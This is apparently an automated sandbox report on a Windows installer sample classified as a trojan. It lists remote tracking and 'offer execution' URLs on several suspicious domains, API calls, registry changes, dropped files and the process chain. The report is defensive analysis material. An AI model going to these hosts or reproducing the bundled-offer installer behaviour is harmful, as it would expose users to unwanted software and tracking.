Source: nsv1A16.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1662&a=2713&dn=420&spot=1&t=1
Source: nsv1A16.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1664&a=2713&dn=424&spot=5&t=1
Source: nsv1A16.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=331&a=2713&dn=244&spot=3&t=17
Source: setup.exe, 00000003.00000002.3326439117.000000000084E000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000002.3327644402.0000000005796000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1657&a=2713&dn=415&spot=4
Source: setup.exe, 00000003.00000002.3327644402.0000000005796000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1658&a=2713&dn=416&spot=6
Source: setup.exe, 00000003.00000002.3326439117.000000000081D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000002.3327644402.0000000005796000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1661&a=2713&dn=419&spot=2
Source: setup.exe, 00000003.00000002.3326439117.000000000087E000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000002.3326439117.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1662&a=2713&dn=420&spot=1
Source: setup.exe, 00000003.00000002.3327644402.0000000005796000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1664&a=2713&dn=424&spot=5
Source: setup.exe, 00000003.00000002.3327644402.0000000005796000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=331&a=2713&dn=244&spot=3&
Source: setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1657&a=2713&dn=415&spot=4&t=17058
Source: setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1658&a=2713&dn=416&spot=6&t=17058
Source: setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1661&a=2713&dn=419&spot=2&t=17058
Source: setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1662&a=2713&dn=420&spot=1&t=17058
Source: setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1664&a=2713&dn=424&spot=5&t=17058
Source: setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=331&a=2713&dn=244&spot=3&t=170585
Source: winrar-x64-623.exe.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: winrar-x64-623.exe.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: winrar-x64-623.exe.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: setup.exe, 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmp, winrar-x64-623.exe.3.dr	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: winrar-x64-623.exe.3.dr	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: setup.exe, 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmp, winrar-x64-623.exe.3.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: winrar-x64-623.exe.3.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: setup.exe, 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmp, winrar-x64-623.exe.3.dr	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: winrar-x64-623.exe.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: winrar-x64-623.exe.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: winrar-x64-623.exe.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: setup.exe, setup.exe, 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmp, setup.exe, 00000003.00000000.2179117700.0000000000409000.00000008.00000001.01000000.00000007.sdmp, is-GGPGD.tmp.2.dr, is-T7UL9.tmp.2.dr	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: setup.exe, 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmp, setup.exe, 00000003.00000000.2179117700.0000000000409000.00000008.00000001.01000000.00000007.sdmp, is-GGPGD.tmp.2.dr, is-T7UL9.tmp.2.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: winrar-x64-623.exe.3.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: winrar-x64-623.exe.3.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: winrar-x64-623.exe.3.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: setup.exe, 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmp, winrar-x64-623.exe.3.dr	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: winrar-x64-623.exe.3.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: setup.exe, 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmp, winrar-x64-623.exe.3.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: setup.exe, 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmp, winrar-x64-623.exe.3.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000002.3325973528.00000000008C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://restfork.website/
Source: A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000002.3325973528.00000000008C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://restfork.website/0
Source: A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000002.3325973528.0000000000952000.00000004.00000020.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000003.2175886129.0000000000949000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://restfork.website/LP
Source: A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe, 00000000.00000003.2068083005.00000000025A0000.00000004.00001000.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe, 00000000.00000002.3326139411.0000000002293000.00000004.00001000.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000002.3326529867.000000000250A000.00000004.00001000.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000002.3327797225.00000000037CD000.00000004.00001000.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000002.3327797225.000000000378A000.00000004.00001000.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000002.3327797225.00000000037D7000.00000004.00001000.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000003.2073039458.00000000034B0000.00000004.00001000.00020000.00000000.sdmp, unins000.dat.2.dr	String found in binary or memory: http://restfork.website/bo.php?p=3984&t=47961548&title=V2l0Y2ggSXQgRnJlZSBEb3dubG9hZCB2MTI2ICAgT25sa
Source: A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe, 00000000.00000003.2068083005.00000000025A0000.00000004.00001000.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe, 00000000.00000002.3326139411.0000000002293000.00000004.00001000.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000002.3326529867.000000000250A000.00000004.00001000.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000002.3327797225.00000000037CD000.00000004.00001000.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000002.3327797225.000000000378A000.00000004.00001000.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000003.2073039458.00000000034B0000.00000004.00001000.00020000.00000000.sdmp, unins000.dat.2.dr	String found in binary or memory: http://restfork.website/boa.php
Source: A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000002.3325973528.0000000000952000.00000004.00000020.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000003.2175886129.0000000000949000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://restfork.webss
Source: winrar-x64-623.exe.3.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: setup.exe, 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmp, winrar-x64-623.exe.3.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	String found in binary or memory: http://sto.farmscene.website/track_polos.php?tim=1705853516&rcc=US&c=2713&p=0.9
Source: setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	String found in binary or memory: http://sto.farmscene.website/track_polos.php?tim=1705853516&rcc=US&c=2713&p=0.9Inno
Source: setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	String found in binary or memory: http://sto.farmscene.website/track_uki.php?tim=1705853516&rcc=US&c=2713&p=0.92
Source: setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	String found in binary or memory: http://sto.farmscene.website/track_uki.php?tim=1705853516&rcc=US&c=2713&p=0.92http://beadhouse.xyz/a
Source: A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe, 00000000.00000003.2068083005.00000000025A0000.00000004.00001000.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe, 00000000.00000002.3326139411.0000000002293000.00000004.00001000.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000002.3326529867.000000000250A000.00000004.00001000.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000002.3327797225.00000000037CD000.00000004.00001000.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000002.3327797225.000000000378A000.00000004.00001000.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000003.2073039458.00000000034B0000.00000004.00001000.00020000.00000000.sdmp, unins000.dat.2.dr	String found in binary or memory: http://windactivity.online/bo.php?p=3984&t=47961548&title=V2l0Y2ggSXQgRnJlZSBEb3dubG9hZCB2MTI2ICAgT2
Source: setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	String found in binary or memory: http://www.pcmaintainer.com/privacy
Source: setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	String found in binary or memory: http://www.thedownloadplanet.com/termsofuse
Source: setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	String found in binary or memory: https://advancedmanager.io/eula
Source: setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	String found in binary or memory: https://advancedmanager.io/privacy-policy
Source: setup.exe, 00000003.00000002.3326439117.0000000000865000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://beadhouse.xyz/
Source: setup.exe, 00000003.00000002.3326439117.000000000081D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	String found in binary or memory: https://beadhouse.xyz/ss.php?a=3984&cc=US&t=1705853516
Source: setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	String found in binary or memory: https://beadhouse.xyz/ss.php?a=3984&cc=US&t=1705853516InnoDownloadPlugin/1.5/USERAGENT/silentget1023
Source: A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000002.3326529867.00000000024ED000.00000004.00001000.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000003.2073039458.00000000034B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://destructionheat.site/tracker/thank_you.php?trk=2713
Source: setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	String found in binary or memory: https://digitalpulsedata.com/tos
Source: A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe	String found in binary or memory: https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
Source: setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	String found in binary or memory: https://legal.opera.com/eula/computers/
Source: setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	String found in binary or memory: https://legal.opera.com/privacy/
Source: A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000003.2073039458.00000000034B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.7-zip.org/
Source: setup.exe, 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmp, winrar-x64-623.exe.3.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe, 00000000.00000003.2069630823.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe, 00000000.00000003.2069178299.00000000025A0000.00000004.00001000.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000000.2071466897.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-J0573.tmp.2.dr, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp.0.dr	String found in binary or memory: https://www.innosetup.com/
Source: setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	String found in binary or memory: https://www.pcmaintainer.com/eula
Source: A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe, 00000000.00000003.2069630823.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe, 00000000.00000003.2069178299.00000000025A0000.00000004.00001000.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000000.2071466897.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-J0573.tmp.2.dr, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp.0.dr	String found in binary or memory: https://www.remobjects.com/ps
Source: setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	String found in binary or memory: https://www.termsfeed.com/live/4bb495ca-d123-4f4d-a727-e9c4d0f3fabe

Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown

HTTPS traffic detected: 172.67.219.140:443 -> 192.168.2.6:49701 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe

Code function: 3_2_00405042 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

3_2_00405042

Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe

Code function: 3_2_0040323C EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcmpiA,CreateDirectoryA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,

3_2_0040323C

Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp

File created: C:\Windows\unins000.dat

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	Code function: 3_2_00404853		3_2_00404853
Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	Code function: 3_2_00406131		3_2_00406131

Source: A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: is-J0573.tmp.2.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows

Source: A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe, 00000000.00000002.3326139411.00000000022C8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamekernel32j% vs A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe
Source: A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe, 00000000.00000003.2069630823.000000007FE35000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe
Source: A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe, 00000000.00000003.2069178299.0000000002698000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe
Source: A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe, 00000000.00000000.2067392786.00000000004C6000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileName vs A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe
Source: A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe	Binary or memory string: OriginalFileName vs A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe

Source: A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: classification engine

Classification label: mal42.troj.winEXE@5/24@3/3

Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe

Code function: 3_2_00404356 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

3_2_00404356

Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe

Code function: 3_2_00402020 CoCreateInstance,MultiByteToWideChar,

3_2_00402020

Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp

File created: C:\Users\user\AppData\Local\Programs

Jump to behavior

Source: C:\Users\user\Desktop\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe

File created: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp

Jump to behavior

Source: C:\Users\user\Desktop\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Jump to behavior

Source: A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe	ReversingLabs: Detection: 36%
Source: A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe	Virustotal: Detection: 47%

Source: A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe

String found in binary or memory: /LOADINF="filename"

Source: C:\Users\user\Desktop\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe

File read: C:\Users\user\Desktop\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe C:\Users\user\Desktop\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe
Source: C:\Users\user\Desktop\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe	Process created: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp "C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp" /SL5="$2043A,832512,832512,C:\Users\user\Desktop\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe"
Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	Process created: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe
Source: C:\Users\user\Desktop\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe	Process created: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp "C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp" /SL5="$2043A,832512,832512,C:\Users\user\Desktop\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	Process created: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp

Window found: window name: TMainForm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp	Automated click: Next
